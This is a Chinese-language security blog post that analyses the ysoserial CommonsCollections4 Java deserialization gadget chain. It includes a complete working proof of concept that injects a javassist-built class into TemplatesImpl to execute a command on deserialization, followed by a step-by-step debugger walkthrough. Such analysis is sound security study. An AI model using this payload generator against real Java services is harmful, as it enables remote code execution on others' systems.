Ysoserial Commons Collections4分析
Ysoserial Commons Collections4分析
写在前面
CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version | Note |
---|---|---|---|
CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | |
CommonsCollections2 | CommonsCollections 4.0 | 暂无限制 | javassist |
CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | javassist |
CommonsCollections4 | CommonsCollections 4.0 | 暂无限制 | javassist |
与cc3一样建议使用javassist:3.12.0.GA依赖
cc4基本就是cc3和cc2的结合,简单看下来好像没什么新的点
yso项目给的注释:cc2的变体,使用InstantiateTransformer替代了InvokerTransformer
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
poc,感觉也没啥可分析的,这些点基本都在之前的文章有提到
Ysoserial Commons Collections2分析
Ysoserial Commons Collections3分析
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections44444444");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{bytes});
Field name=templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"test");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
调试分析
在PriorityQueue#readObject下断点,debug,跟进heapify()方法
这里之前cc2的文章也提到过,设置PriorityQueue对象长度为2目的是为了让这里for循环中i的初始值为0从而正常进入循环中的siftDown方法
这里做了判断如果属性comparator不为null进入siftDownUsingComparator()方法,而comparator在poc中通过反射将其值设置为了transfCom(后续具体生成恶意类的TransformingComparator对象)
在siftDownUsingComparator()方法中调用了属性comparator的compare方法,继续跟进
在compare()方法中调用了ChainedTransformer#transform()方法
其中第一次循环拿到了通过ConstantTransformer#transform()方法拿到了ConstantTransformer#iConstant属性,在poc中new ConstantTransformer类时通过有参构造方法已经把值设置为TrAXFilter.class,所以这里第一次拿到的object值为TrAXFilter.class;
第二次循环时将TrAXFilter.class作为参数传入InstantiateTransformer#transform()方法,首先通过反射先去获取TrAXFilter类的参数类型为Templates的有参构造方法
可以从TrAXFilter类的Structure中看到确实有符合的有参构造方法,可以在此方法下个断点,F9跟进来
调用了TemplatesImpl的newTransformer()方法
调用getTransletInstance()方法,继续跟进
在第一个if中_name
参数在poc中反射设置为了test,所以进入第二个if,因为一开始_class
就为null,调用defineTransletClasses()方法
之后调用ClassLoader#defineClass()加载之前恶意类的byte数组,并在下面if中,poc反射设置了恶意类父类为AbstractTranslet
后将_transletIndex
属性设置为0
回到getTransletInstance()方法通过newInstance()方法实例化恶意类,触发静态代码块中代码执行
End
CC4没什么新的东西,之前分析了CC2和CC3再来看的话会比较简单
PoC Gadget Chain
ObjectInputStream#readObject()
PriorityQueue#readObject()
PriorityQueue#heapify()
PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparator()
TransformingComparator#compare()
ChainedTransformer#transform()
ConstantTransformer#transform()
InstantiateTransformer#transform()
TrAXFilter#TrAXfilter(Templates templates)
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
TemplatesImpl#getTransletInstance()
_class[_transletIndex]#newInstance()
触发静态代码块中代码执行